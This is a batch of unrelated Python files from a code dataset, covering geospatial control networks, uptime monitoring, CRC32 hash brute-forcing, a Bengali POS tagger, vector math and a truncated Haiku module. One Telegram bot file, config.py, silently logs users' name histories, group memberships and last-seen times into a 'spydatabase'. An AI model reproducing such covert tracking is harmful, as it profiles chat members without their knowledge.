residuals.\n\n Parameters\n ----------\n point : obj\n point identifying object as defined by autocnet.io.db.model.Points\n\n path : str\n absolute path and network name of control network used to update the measure/database.\n\n ncg : obj\n the network candidate graph associated with the measure/database\n being updated.\n \"\"\"\n\n if not ncg.Session:\n BrokenPipeError('This function requires a database session from a NetworkCandidateGraph.')\n\n data = cnet.from_isis(path)\n data_to_update = data[['id', 'serialnumber', 'measureJigsawRejected', 'sampleResidual', 'lineResidual', 'samplesigma', 'linesigma', 'adjustedCovar', 'apriorisample', 'aprioriline']]\n data_to_update.loc[:,'adjustedCovar'] = data_to_update['adjustedCovar'].apply(lambda row : list(row))\n data_to_update.loc[:,'id'] = data_to_update['id'].apply(lambda row : int(row))\n\n res = data_to_update[(data_to_update['id']==point.id)]\n if res.empty:\n print(f'Point {point.id} does not exist in input network.')\n return\n\n # update\n resultlog = []\n with ncg.session_scope() as session:\n for row in res.iterrows():\n row = row[1]\n currentlog = {'measure':row[\"serialnumber\"],\n 'status':''}\n\n residual = np.linalg.norm([row[\"sampleResidual\"], row[\"lineResidual\"]])\n session.query(Measures).\\\n filter(Measures.pointid==point.id, Measures.serial==row[\"serialnumber\"]).\\\n update({\"jigreject\": row[\"measureJigsawRejected\"],\n \"sampler\": row[\"sampleResidual\"],\n \"liner\": row[\"lineResidual\"],\n \"residual\": residual,\n \"samplesigma\": row[\"samplesigma\"],\n \"linesigma\": row[\"linesigma\"],\n \"apriorisample\": row[\"apriorisample\"],\n \"aprioriline\": row[\"aprioriline\"]})\n currentlog['status'] = 'success'\n resultlog.append(currentlog)\n\n session.commit()\n return resultlog\n\n\n# This is not a permanent placement for this function\n# TO DO: create a new module for parsing/cleaning points from a controlnetwork\nfrom scipy.stats import zscore\nfrom plio.io.io_gdal import GeoDataset\nfrom autocnet.io.db.model import Images\nimport pvl\ndef null_measure_ignore(point, size_x, size_y, valid_tol, verbose=False, ncg=None, **kwargs):\n\n if not ncg.Session:\n raise BrokenPipeError('This func requires a database session from a NetworkCandidateGraph.')\n\n isis2np_types = {\n \"UnsignedByte\" : \"uint8\",\n \"SignedWord\" : \"int16\",\n \"Real\" : \"float64\"}\n\n resultlog = []\n with ncg.session_scope() as session:\n pid = point.id\n print('point id: ', pid)\n measures = session.query(Measures).filter(Measures.pointid==pid).order_by(Measures.id).all()\n print('number of measures: ', len(measures))\n for measure in measures:\n currentlog = {'measureid': measure.id,\n 'status': 'No change'}\n m_imageid = measure.imageid\n m_image = session.query(Images).filter(Images.id==m_imageid).one()\n cube = GeoDataset(m_image.path)\n\n center_x = measure.sample\n center_y = measure.line\n\n start_x = int(center_x - size_x)\n start_y = int(center_y - size_y)\n stop_x = int(center_x + size_x)\n stop_y = int(center_y + size_y)\n\n pixels = list(map(int, [start_x, start_y, stop_x-start_x, stop_y-start_y]))\n dtype = isis2np_types[pvl.load(cube.file_name)[\"IsisCube\"][\"Core\"][\"Pixels\"][\"Type\"]]\n arr = cube.read_array(pixels=pixels, dtype=dtype)\n\n z = zscore(arr, axis=0)\n nn= sum(sum(np.isnan(z)))\n percent_valid = (1 - nn/z.size)*100\n if percent_valid < valid_tol:\n session.query(Measures).\\\n filter(Measures.pointid==pid, Measures.id==measure.id).\\\n update({'ignore': True})\n currentlog['status'] = 'Ignored'\n\n resultlog.append(currentlog)\n return resultlog\n\n","sub_path":"autocnet/io/db/controlnetwork.py","file_name":"controlnetwork.py","file_ext":"py","file_size_in_byte":8123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"415298268","text":"import datetime\nimport sys\nimport os\nimport csv\nimport json\nimport decimal\n\nimport requests\n\nimport utils\nimport mail_sender\n\n\nMAXIMUM_LINES = 150\n\n\n# def verify_web_status_code(url, expected_status_code):\n# start = datetime.datetime.now()\n# result_status_code = 0\n# try:\n# r = requests.get(url)\n# result_status_code = r.status_code\n# except requests.exceptions.ConnectionError as e:\n# print('URL {} not found'.format(url))\n# result_status_code = 404\n# end = datetime.datetime.now()\n# if result_status_code == int(expected_status_code):\n# return (end - start).total_seconds()\n# else:\n# return 0\n\n\n# def verify_web_content(url, content):\n# start = datetime.datetime.now()\n# r = requests.get(url)\n# end = datetime.datetime.now()\n# if content in r.text:\n# return (end - start).total_seconds()\n# else:\n# return 0\n\n\n# def verify_soap_status_code(url, request_body, status_code):\n# start = datetime.datetime.now()\n# headers = {'content-type': 'text/xml'}\n# #headers = {'content-type': 'application/soap+xml'}\n# r = requests.post(url, data=request_body, headers=headers)\n# end = datetime.datetime.now()\n# if r.status_code == int(status_code):\n# return (end - start).total_seconds()\n# else: \n# #TO DO: send warning message\n# return \n\n\n# def verify_soap_content(url, method, request_body, content):\n# headers = {'content-type': 'text/xml'}\n# try:\n# start = datetime.datetime.now()\n# r = requests.post(url, data=request_body, headers=headers)\n# end = datetime.datetime.now()\n# except Exception as e:\n# utils.log_to_file(e)\n# return 0\n# if content in r.text:\n# return (end - start).total_seconds()\n# else:\n# return 0\n\n\ndef run_task(task):\n result = {\n 'success': True,\n 'timestamp': utils.time_to_string(),\n 'elapsed_time': None\n }\n response = None\n start = datetime.datetime.now()\n try:\n if task['method'] == 'get':\n response = requests.get(task['url'], data=task['request_body'], headers=task['headers'], timeout=30)\n elif task['method'] == 'post':\n response = requests.post(task['url'], data=task['request_body'], headers=task['headers'], timeout=30)\n except:\n result['success'] = False\n\n end = datetime.datetime.now()\n #result['elapsed_time'] = (end - start).total_seconds()\n result['elapsed_time'] = round(decimal.Decimal((end - start).total_seconds()), 3)\n\n if result['success'] and response:\n if task['type'] == 'status_code':\n if response.status_code != int(task['status_code'] ):\n result['success'] = False\n elif task['type'] == 'content':\n if task['content'] not in response.text:\n result['success'] = False\n\n return result\n\n\n# def verify_rest_content(url, method, request_body, content):\n# try:\n# start = datetime.datetime.now()\n# if method == 'get':\n# r = requests.get(url, data=request_body, headers=headers)\n# elif method == 'post':\n# r = requests.post(url, data=request_body, headers=headers)\n# end = datetime.datetime.now()\n# except Exception as e:\n# utils.log_to_file(e)\n# return 0\n# if content in r.text:\n# return (end - start).total_seconds()\n# else:\n# return 0\n\n\ndef write_result(task_id, result):\n path = os.path.join('results', '{}.csv'.format(task_id))\n trimmed_list = []\n with open(path, \"a+\") as csv_file:\n writer = csv.writer(csv_file, delimiter=';')\n writer.writerow([result['timestamp'], result['elapsed_time'], result['success']])\n # check amount of lines does not exceeds maximum\n # and trim csv below maximum lines\n csv_file.seek(0)\n reader = csv.DictReader(csv_file, delimiter=';')\n reader_list = list(reader)\n if len(reader_list) > MAXIMUM_LINES:\n trimmed_list = reader_list[-MAXIMUM_LINES:]\n # write trimmed csv if needed\n if trimmed_list:\n with open(path, 'w') as output_file:\n dict_writer = csv.writer(output_file, delimiter=';')\n dict_writer.writerow(['timestamp', 'elapsed_time', 'success'])\n for row in trimmed_list:\n dict_writer.writerow([row['timestamp'], row['elapsed_time'], row['success']])\n\n\n# main\ntask_id = sys.argv[1]\ntask = None\nwith open('tasks.json') as tasks_file:\n tasks = json.load(tasks_file)\nfor t in tasks:\n if t['id'] == task_id:\n task = t\n\nresult = None\n\nresult = run_task(task)\n\n# if task['category'] == 'web':\n# # if task['type'] == 'status_code':\n# # result = verify_web_status_code(task['url'], task['status_code'])\n# # elif task['type'] == 'content':\n# # result = verify_web_content(task['url'], task['content'])\n# # else:\n# # utils.log_to_file('test type invalid')\n# pass\n# elif task['category'] == 'rest':\n# result = verify_rest_status_code(task)\n# # elif task['type'] == 'content':\n# # result = verify_rest_content(task['url'], task['method'], task['request_body'], task['content'])\n# else:\n# utils.log_to_file('category is invalid')\n# write result to respective results file\nif result is not None:\n write_result(task_id, result)\n if not result['success']:\n utils.send_mails(task_id)\n\n\n","sub_path":"task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":5472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"402681790","text":"# The problem has been solve in python as I am good at this....\r\n#please call this Solution.solution(A, x)\r\n#here A is a list and x is an Integer value\r\ndef solution(A,x):\r\n verify_a = list()\r\n new_a = list()\r\n\r\n for i in range(x):\r\n new_a.append(i+1)\r\n total = sum(new_a)\r\n\r\n for i in range(len(A)):\r\n if A[i] not in verify_a and A[i] <= x:\r\n verify_a.append(A[i])\r\n if sum(verify_a) == total:\r\n return i\r\n else:\r\n continue\r\n","sub_path":"Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"558440813","text":"import sys, getopt\nimport zlib\nfrom hash40 import Hash40\n\nchars = \"abcdefghijklmnopqrstuvwxyz_0123456789\"\nprefix = ''\nsuffix = ''\nlength = 0\ncheckAll = False\nignoreNum = False\nhashes = []\ndefaultPath = \"hashes.txt\"\n\ndef getInputLength():\n global prefix, suffix\n return len(prefix) + len(suffix)\n\ndef openFile(path):\n global hashes\n tag = None\n f = open(path, \"r\")\n for x in f:\n if(x != \"\\n\"):\n if x[0] == '-':\n tag = x[1:].strip()\n else:\n hashes.append(Hash40(x.lower().strip(), tag))\n\ndef doCRC(string):\n h = hex(zlib.crc32(bytearray(string, 'utf-8')))\n if len(h.replace(\"0x\",\"\")) < 8:\n h = \"0x\" + ('0' * (8 - len(h.replace(\"0x\",\"\")))) + h.replace(\"0x\",\"\")\n return h\n\ndef check(string):\n global prefix, suffix\n hash = doCRC(prefix + string + suffix)\n length = len(prefix + string + suffix)\n find = next((x for x in hashes if hash == x.hash and length == x.length), None)\n if find:\n if find.tag is None:\n print(\"{0} -> {1}\".format(find.hash40, prefix + string + suffix))\n else:\n print(\"{2} {0} -> {1}\".format(find.hash40, prefix + string + suffix, find.tag))\n\ndef process(string):\n global length, checkAll\n if(checkAll):\n check(string)\n if(len(string) + getInputLength() < length):\n loop(string)\n else:\n if(len(string) + getInputLength() == length):\n check(string)\n else:\n if(len(string) + getInputLength() < length):\n loop(string)\n\ndef loop(string):\n global chars\n for char in chars:\n process(string + char)\n\n#Prints first character to show progress\ndef StartLoop():\n global chars\n for char in chars:\n print(char)\n process(char)\n\ndef start(argv):\n global defaultPath, prefix, suffix, length, checkAll, chars, ignoreNum\n path = defaultPath\n try:\n opts, args = getopt.getopt(argv,\"hl:p:s:f\",[\"suffix=\",\"prefix=\",\"length=\", \"checkAll\", \"file=\", \"ignoreNum\"])\n except getopt.GetoptError:\n print('Usage: bruteforce.py -l (-p ) (-s ) (--checkAll)')\n print('bruteforce.py -h for help')\n sys.exit(2)\n for opt, arg in opts:\n if opt == '-h':\n print('bruteforce.py -l (-p ) (-s ) (--checkAll)')\n print(\"-l/--length= : Max length of strings, takes into account prefix and suffix. If checkAll isn't enabled only strings with this length will be hashed and compared with list\")\n print(\"-p/--prefix= : Prefix to add to generated strings\")\n print(\"-s/--suffix= : Suffix to add to generated strings\")\n print(\"--checkAll: Check all strings hashes regardless of length\")\n sys.exit()\n elif opt in (\"--prefix\", \"-p\"):\n prefix = arg\n elif opt in (\"--sufix\", \"-s\"):\n suffix = arg\n elif opt in (\"--length\", \"-l\"):\n length = int(arg)\n elif opt in (\"--checkAll\"):\n checkAll = True\n elif opt in (\"--ignoreNum\"):\n ignoreNum = True\n elif opt in (\"--file\", \"-f\"):\n path = arg\n \n if(length == 0):\n print(\"Error: No length given\")\n print('Usage: bruteforce.py -l (-p ) (-s ) (--checkAll)')\n sys.exit()\n\n if(ignoreNum):\n chars = \"abcdefghijklmnopqrstuvwxyz_\"\n openFile(path)\n if(getInputLength() < length):\n StartLoop()\n else:\n print(\"length is lower than prefix + suffix\")\n\nif __name__ == \"__main__\":\n start(sys.argv[1:])","sub_path":"bruteforce.py","file_name":"bruteforce.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"522038330","text":"import time\nfrom collections import defaultdict\nimport nltk\nimport re\nfrom nltk.classify.maxent import MaxentClassifier\n\nnltk.config_megam('F:\\Final Thesis data\\megam_src\\megam_0.92\\megam.exe')\n\nclass MaxenPosTagger(nltk.TaggerI):\n def train(self, train_sents, algorithm='megam', rare_word_cutoff=1, rare_feat_cutoff=1, trace=3, **cutoffs):\n self.word_freqdist = self.gen_word_freqs(train_sents)\n self.featuresets = self.gen_featsets(train_sents,rare_word_cutoff)\n self.features_freqdist = self.gen_feat_freqs(self.featuresets)\n self.cutoff_rare_feats(self.featuresets, rare_feat_cutoff)\n start = time.time()\n self.classifier = MaxentClassifier.train(self.featuresets, algorithm, trace, **cutoffs)\n end = time.time()\n if trace > 0:\n print(\"Time to train the POS tagger: {0}\".format(round(end - start, 3)))\n\n\n def gen_feat_freqs(self, featuresets):\n features_freqdist = defaultdict(int)\n for (feat_dict, tag) in featuresets:\n for (feature, value) in feat_dict.items():\n features_freqdist[((feature, value), tag)] += 1\n return features_freqdist\n \n\n def gen_word_freqs(self, train_sents):\n word_freqdist = nltk.FreqDist()\n for tagged_sent in train_sents:\n for (word, _tag) in tagged_sent:\n word_freqdist[word] += 1\n return word_freqdist\n\n\n def gen_featsets(self, train_sents, rare_word_cutoff):\n featuresets = []\n for tagged_sent in train_sents:\n history = []\n untagged_sent = nltk.untag(tagged_sent)\n for (i, (_word, tag)) in enumerate(tagged_sent):\n featuresets.append((self.extract_features(untagged_sent, i, history, rare_word_cutoff), tag))\n history.append(tag)\n return featuresets\n\n def cutoff_rare_feats(self, featuresets, rare_feat_cutoff):\n never_cutoff_features = set(['w', 't'])\n for (feat_dict, tag) in featuresets:\n for (feature, value) in feat_dict.items():\n feat_value_tag = ((feature, value), tag)\n if self.features_freqdist[feat_value_tag] < rare_feat_cutoff:\n if feature not in never_cutoff_features:\n feat_dict.pop(feature)\n\n\n def extract_features(self, sentence, i, history, rare_word_cutoff=1):\n features = {}\n hyphen = re.compile(\"-\")\n number = re.compile(\"\\d\")\n # generating features for: w-1, t-1, w-2, t-2 while taking care of the beginning of a sentence\n if i == 0: # first word of sentence\n features.update({\"w-1\": \"\", \"t-1\": \"\",\n \"w-2\": \"\", \"t-2 t-1\": \" \"})\n elif i == 1: # second word of sentence\n features.update({\"w-1\": sentence[i - 1], \"t-1\": history[i - 1],\n \"w-2\": \"\",\n \"t-2 t-1\": \" %s\" % (history[i - 1])})\n else:\n features.update({\"w-1\": sentence[i - 1], \"t-1\": history[i - 1],\n \"w-2\": sentence[i - 2],\n \"t-2 t-1\": \"%s %s\" % (history[i - 2], history[i - 1])})\n\n # generating features for: w+1, w+2 while taking care of the end of a sentence.\n for inc in [1, 2]:\n try:\n features[\"w+%i\" % (inc)] = sentence[i + inc]\n except IndexError:\n features[\"w+%i\" % (inc)] = \"\"\n\n if self.word_freqdist[sentence[i]] >= rare_word_cutoff:\n # additional features for 'non-rare' words\n features[\"w\"] = sentence[i]\n\n else: # additional features for 'rare' or 'unseen' words\n features.update({\"suffix(1)\": sentence[i][-1:], \"suffix(2)\": sentence[i][-2:],\n \"suffix(3)\": sentence[i][-3:], \"suffix(4)\": sentence[i][-4:],\n \"prefix(1)\": sentence[i][:1], \"prefix(2)\": sentence[i][:2],\n \"prefix(3)\": sentence[i][:3], \"prefix(4)\": sentence[i][:4]})\n if hyphen.search(sentence[i]) != None:\n features[\"hyphen-exists\"] = True\n if number.search(sentence[i]) != None:\n features[\"number-exists\"] = True\n\n return features\n\n def tag(self, sentence, rare_word_cutoff=5):\n\n history = []\n for i in range(len(sentence)):\n featureset = self.extract_features(sentence, i, history, rare_word_cutoff)\n tag = self.classifier.classify(featureset)\n history.append(tag)\n output = []\n for i in range(len(sentence)):\n output.append((sentence[i],history[i]))\n return output\n\ndef word_tokenizer(inp):\n w = inp.split()\n return w\n\nlineList = [line.rstrip('\\n') for line in open(\"bn_tagged_mod.txt\", \"r\", encoding='utf-8')]\nprint(lineList)\nsentence = [x.split() for x in lineList]\nprint(sentence)\ntagged_sents = []\nfor x in sentence:\n b = [tuple(y.split('\\\\')) for y in x]\n tagged_sents.append(b)\nprint(tagged_sents)\n\nsize = int(len(tagged_sents)* 0.8)\ntrain_sents, test_sents = tagged_sents[:size], tagged_sents[size:]\nprint(len(train_sents))\nprint(len(test_sents))\nmaxent_tagger = MaxenPosTagger()\nmaxent_tagger.train(train_sents)\nprint(\"Accuracy of the POS tagger: \", 100 * (maxent_tagger.evaluate(test_sents)), \"%\")\nsent = input(\"Give input sentence :\")\ndata = word_tokenizer(sent)\nprint(data)\nprint(\"Classified tagged format of unseen sentence: \", maxent_tagger.tag(data))\n#print(\"Accuracy of the POS tagging: \", 100*(maxent_tagger.evaluate([maxent_tagger.tag(data)])),\"%\")\n'''\ninputs:\n\nআমি তোমায় ভালোবাসি |\nআমার সোনার বাংলা , আমি তোমায় ভালোবাস��� |\nসততা একটি মহৎ গুণ |\nসে পরিশ্রমী |\nরহিম ভাত খাচ্ছে |\nরহিম সৎ তাই সে মহৎ |\nসে নিজে কাজটা করেছে |\nআমাকে যেতে দাও |\nসে দ্রুত দৌড়াতে পারে |\nছিঃ , এমন কাজ তোর |\nআহা ! লোকটি দেখতে পায় না |\nআমি তার জন্য অপেক্ষা করছি |\nতুমি ও আমি যাব |\nসে কি আসবে ?\nতার শরীরে ভিটামিন A - এর অভাব আছে |\nখুব কম ছেলেই ঘটকের চোখে পাএী দেখে বিয়ে করতে চায় |\nরপ্তানি দ্রব্য - তাজা ও শুকনা ফল , আফিম , পশুচর্ম ও পশম এবং কার্পেট |\nরাজা মহানন্দ রাজধানীতে তৈরি করেছিল শিব মন্দির ও বৈষ্ণবদের মন্দির |\nমলয়ের কাছে সব শুনে তার স্ত্রী বলল , \" তোমার নাম কি মা ? \"\nনিজস্ব প্রতিনিধি |\nঅন্ধকার গাঢ়তর হয়ে ওঠে |\nএর দ্বারা বশীকরণও হয় , আচার্য্যেরা এই বলে থাকেন |\nবিশ্বাস , ঠিকও হয় |\nআকবকের দরবারে যে ছত্রিশ জন বিশিষ্ট কলাকার ছিলেন , সকলেরই মতে , তাঁদের মধ্যে তানসেন ছিলেন সর্বশ্রেষ্ঠ |\nসাবিত্রীদি চুড়ো বেঁধে দিচ্ছিলেন সতুর চুলে |\nমনে হয় , হতাশা লাঘব করার চেষ্টা |\nবুধবার এঁদের মধ্যে একজনের মৃত্যু হয় |\nতাহার জন্য তাহাদের দাম্ভিকতা নাই |\nমনে আছে , হেলিকপ্টারে চড়ে ঢুকেছিলাম জ্যান্ত আগ্নেয়গিরির গহ্বরে |\nসশব্দে ট্রাক ছুটছে |\nনিতান্ত গৃহবধূ ছিলেন না কোরাজন আকিনো |\nতোমার বন্ধু বলল দু হাজার হবে |\nরাণী লক্ষ্মীবাই রাজসভা আহ্বান করেছেন |\nইহা খাদ্যকে ধরিতে এবং য়্যানটিনা , প্যাল্প এবং অগ্রপদকে পরিষ্কার রাখিতে সাহায্য করে |\nভাইকে প্রাণাধিক স্নেহ করতেন রামকুমার |\nনির্মাণের কাজ চলছে মন্থর গতিতে |\nটেবিল অনুনাদী বস্তুর কাজ করে |\nবাবার শেষকৃত্য সম্পন্ন করেই সীমা ফিরে এসেছিল কলকাতায় |\nপ্রদর্শনী খেলা দুটি - ব্যাডমিণ্টন ও বোলিং |\nসাধারণত নেতাজী ডিনারটা আনন্দ করে খেতেন |\nআয়নাটির নাম ভালবাসা |\nযা বেরিয়ে যা |\n// বিংশ শতাব্দীর বিশের দশকে উচ্চ বিভব সম্পন্ন প্রতি প্রভব বাতি ব্যবহার হত |\nরাজ্য শাখার এক বিবৃতিতে বলা হয়েছে , সি পি আই ( এম ) দেশের একটি স্বীকৃত রাজনৈতিক দল |\nএর ফলে মরু অঞ্চলে তীব্র নিম্নচাপ সৃষ্টি হয় |\nএরই নাম মায়া !\nমালদহ জেলার একটি জায়গা থেকে রাজা শশাঙ্কের একটি স্বর্ণমুদ্রাও তাঁরা সংগ্রহ করতে পেরেছেন |\nআগামী বছর 1990 সালকে বিশ্ব সাক্ষরতা দিবস হিসাবে পালন করা হবে |\nশিল্প শিল্পীর অন্তরেই প্রকাশিত |\nবিহারীলালের বিবাহ হয় 19 বছর বয়সে |\nঅকুস্থল চীনের একটি শহর |\nতার বেঁচে থাকাই কঠিন হয় |\n1939 সালে ব্রিটেনে চার হাজার টিভি সেট বিক্রি হয় |\nমোজায় নেই ফুটো |\nচ��ত্রতারকার বুশশার্টখানা মদনা সন্ধানী চোখে দেখে নিয়েছিল |\nচার বছরে পঞ্চম মুদ্রণ ভ্রমণ সাহিত্যে সত্যিই অভাবনীয় এবং আনন্দের |\nআরও বড় কিছু , বেশী কিছু |\nসারা হায়দ্রাবদ শহরে উত্সবের হাওয়া |\nশীতকাল বড় প্রবঞ্চক |\nদুজনেই ইঙ্গিতটা ধরতে পেরেছেন |\nবল্লারশাহ এবং ওয়ারধা থেকে য়্যামবুলেনস নিয়ে ছুটে গিয়েছেন চিকিৎসকরা |\nযাঁহারা ধীশক্তিসম্পন্ন , সূক্ষ্মদর্শী , চিন্তাশীল কবি ও রসিক , তাঁহারাই প্রবাদের সৃষ্টিকর্তা |\nএকমাত্র শ্রমই পণ্য - মূল্য সৃষ্টি করে এবং শ্রমই মূল্যের মাপকাঠি |\nবলতো ওদের ফ্ল্যাটের দামী দামী জিনিস চুরি হয়ে গেছে তোমার দোষে |\nদুদিন সবুর করো মশাই |\nঈগল পাখি মাছ খায় |\nএকটি ছেলে বই পড়ছে |\n'''\n#Chunking starts from here\ngrammar = \"\"\"\n NPP: {***}\n {***} \n VPP: {*?} \n \"\"\"\ncp = nltk.RegexpParser(grammar)\nsss = []\nfor i in range(len(test_sents)):\n sss.append(cp.parse(test_sents[i]))\n#print(cp.evaluate(sss))\n\nresult = cp.parse(maxent_tagger.tag(data))\nprint(\"IOB Chunked format of unseen sentence: \",nltk.chunk.tree2conlltags(result))\nresult.draw()\n","sub_path":"f1.py","file_name":"f1.py","file_ext":"py","file_size_in_byte":12848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"245788681","text":"import os\nfrom pymongo import MongoClient\nimport time\n\nmongo_client = MongoClient(os.environ['spydatabase'])\n\npasyuk_id = 441399484\nsenderman_id = 94197300\nadmins = (pasyuk_id, senderman_id)\n\ndb = mongo_client.about_users\nabout_user = db.users\n\ndef createabout(m):\n return {\n 'id':m.from_user.id,\n 'name':m.from_user.first_name,\n 'username':m.from_user.username,\n 'names':[m.from_user.first_name],\n 'msgcount':0,\n 'usernames':[],\n 'groups':{},\n 'lastseen':0\n }\n\ndef creategroup(m, bot):\n return {\n 'title':m.chat.title,\n 'username':m.chat.username,\n 'description':bot.get_chat(m.chat.id).description\n \n }\n\ndef about(m, bot):\n try:\n a_u = about_user.find_one({'id':m.from_user.id})\n if a_u == None:\n about_user.insert_one(createabout(m))\n a_u = about_user.find_one({'id':m.from_user.id})\n \n msgcount = a_u['msgcount']\n try:\n lastseen = a_u['lastseen']\n except:\n lastseen = time.time()\n names = a_u['names']\n name = a_u['name']\n username = a_u['username']\n usernames = a_u['usernames']\n groups = a_u['groups']\n \n msgcount += 1\n lastseen = time.time()\n \n\n if m.from_user.first_name not in a_u['names']:\n names.append(m.from_user.first_name)\n name = m.from_user.first_name\n \n if m.from_user.username not in a_u['usernames']:\n usernames.append(m.from_user.username)\n username = m.from_user.username\n \n if str(m.chat.id) not in a_u['groups'] and m.chat.id < 0:\n groups.update({str(m.chat.id):creategroup(m, bot)})\n \n about_user.update_one({'id':m.from_user.id},{'$set':{'msgcount':msgcount, 'lastseen':lastseen, 'names':names, 'name':name, 'username':username, 'usernames':usernames, 'groups':groups}})\n except:\n pass\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"429600181","text":"import math\n\nclass Vector(object):\n def __init__(self, coordinates):\n try:\n if not coordinates:\n raise ValueError\n self.coordinates = tuple(coordinates)\n self.dimension = len(coordinates)\n\n except ValueError:\n raise ValueError('The coordinates must be nonempty')\n\n except TypeError:\n raise TypeError('The coordinates must be an iterable')\n\n\n def __str__(self):\n return 'Vector: {}'.format(self.coordinates)\n\n\n def __eq__(self, v):\n return self.coordinates == v.coordinates\n\n def plus(self, v): #zip = returns an iteraltor of tuples. the iterator stops when the shortest input iterable is exhausted\n new_coordinates = [ x+y for x,y in zip(self.coordinates, v.coordinates)]\n return Vector(new_coordinates)\n\n def minus(self, v):\n new_coordinates = [ x-y for x,y in zip(self.coordinates, v.coordinates)]\n return Vector(new_coordinates)\n\n def times_scalar(self, c):\n new_coordinates = [ c*x for x in self.coordinates]\n return Vector(new_coordinates)\n\n def magnitude(self):\n squared_coordinates = [ x ** 2 for x in self.coordinates]\n return math.sqrt(sum(squared_coordinates))\n \n def normalization(self):\n try:\n magnitude = self.magnitude()\n return self.times_scalar(1./magnitude)\n except ZeroDivisionError:\n raise Exception('Cannot normalize the zero vector')\n\n def dotProduct(self, c):\n new_coordinates = [x*y for x,y in zip(self.coordinates, c.coordinates)]\n return sum(new_coordinates)\n \n\n def angle_with(self, v1, in_degrees=False):\n\n try:\n u1 = self.normalization()\n u2 = v1.normalization()\n\n angle_in_radian = math.acos(round(u1.dotProduct(u2),10))\n\n if in_degrees:\n pi=22/7\n degrees_per_radian = 180. /pi\n return angle_in_radian * degrees_per_radian\n else:\n return angle_in_radian\n except Exception as e:\n raise e\n \n def is_orthogonal_to(self, v, tolerance=1e-10):\n return abs(self.dotProduct(v)) < tolerance\n\n def is_parallel_to(self, v):\n return (\n self.is_zero() or \n v.is_zero() or\n self.angle_with(v) == 0 or\n self.angle_with(v) == 22/7\n )\n\n def is_zero(self, tolerance=1e-10):\n return self.magnitude() < tolerance\n\n \n def component_parallel_to(self, b):\n try:\n b_unit = b.normalization()\n weight = self.dotProduct(b_unit)\n return b_unit.times_scalar(weight) \n except Exception as e:\n raise e\n\n def component_orthogonal_to(self, basis):\n try:\n projection = self.component_parallel_to(basis)\n return self.minus(projection)\n except Exception as e:\n raise e\n\n def crossProducts(self, v):\n try:\n x_1, y_1, z_1 = self.coordinates\n x_2, y_2, z_2 = v.coordinates\n new_coordinates = [\n y_1*z_2 - y_2*z_1,\n -(x_1*z_2 - x_2*z_1),\n x_1*y_2 - x_2*y_1\n ]\n return Vector(new_coordinates)\n \n except ValueError as e:\n raise e\n \n \n def area_of_parallelogram_with(self, v):\n cross_product = self.crossProducts(v)\n return cross_product.magnitude()\n\n\nquestion1_coordinate1 = Vector((8.218, -9.341))\nquestion1_coordinate2 = Vector((-1.129, 2.111))\n\nquestion2_coordinate1 = Vector((7.119, 8.215))\nquestion2_coordinate2 = Vector((-8.223, 0.878))\n\nquestion3_scalar = 7.41\nquestion3_coordinate = Vector((1.671, -1.012, -0.318))\n\n# print(question1_coordinate1.plus(question1_coordinate2))\n# print(question2_coordinate1.minus(question2_coordinate2))\n# print(question3_coordinate.times_scalar(question3_scalar))\n\n\n#v4 = Vector((-0.221, 7.437))\n#print(v4.magnitude())\n\n# v5 = Vector((5.581, -2.136))\n# print(v5.normalization())\n\n# v6 = Vector((7.887, 4.138))\n# v7 = Vector((-8.802, 6.776))\n# print(v6.dotProduct(v7))\n\n# v8 = Vector((3.183,-7.627))\n# v9 = Vector((-2.668, 5.319))\n# print(v8.angle_with(v9))\n\n# v10 = Vector((-7.579, -7.88))\n# v11 = Vector((22.737, 23.64))\n# print(v10.angle_with(v11, True))\n\n# v12 = Vector((3.039, 1.879))\n# v13 = Vector((0.825, 2.036))\n# print(v12.component_parallel_to(v13))\n\nv14 = Vector((5,3,2))\nv15 = Vector((-1,0,3))\nprint(v14.crossProducts(v15))","sub_path":"vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":4546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"360403593","text":"# Lint as: python3\n# Copyright 2019 DeepMind Technologies Limited. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\"\"\"Basic Haiku modules and functions.\"\"\"\n\nimport functools\nimport types\nfrom typing import Any, Callable, Iterable, Optional, Type\n\nfrom haiku._src import base\nfrom haiku._src import initializers\nfrom haiku._src import module\nfrom haiku._src.typing import PRNGKey\nimport jax\nimport jax.numpy as jnp\nimport numpy as np\n\n# If you are forking replace this block with `import haiku as hk`.\nhk = types.ModuleType(\"haiku\")\nhk.get_parameter = base.get_parameter\nhk.initializers = initializers\nhk.Module = module.Module\ndel base, module, initializers\n\n\n# Utility and activation functions.\ndef one_hot(x, num_classes, dtype=jnp.float32):\n \"\"\"Returns a one-hot version of indices.\n\n DEPRECATED: Use ``jax.nn.one_hot(x, num_classes).astype(dtype)`` instead.\n\n Args:\n x: A tensor of indices.\n num_classes: Number of classes in the one-hot dimension.\n dtype: The dtype.\n\n Returns:\n The one-hot tensor. If indices' shape is [A, B, ...], shape is\n [A, B, ... num_classes].\n \"\"\"\n return jax.nn.one_hot(x, num_classes).astype(dtype)\n\n\ndef multinomial(rng, logits, num_samples):\n \"\"\"Draws samples from a multinomial distribution.\n\n Args:\n rng: A JAX PRNGKey.\n logits: Unnormalized log-probabilities, of shape\n ``[batch_size, categories]`` or ``[categories]``.\n num_samples: Number of samples to draw.\n\n Returns:\n Chosen categories, of 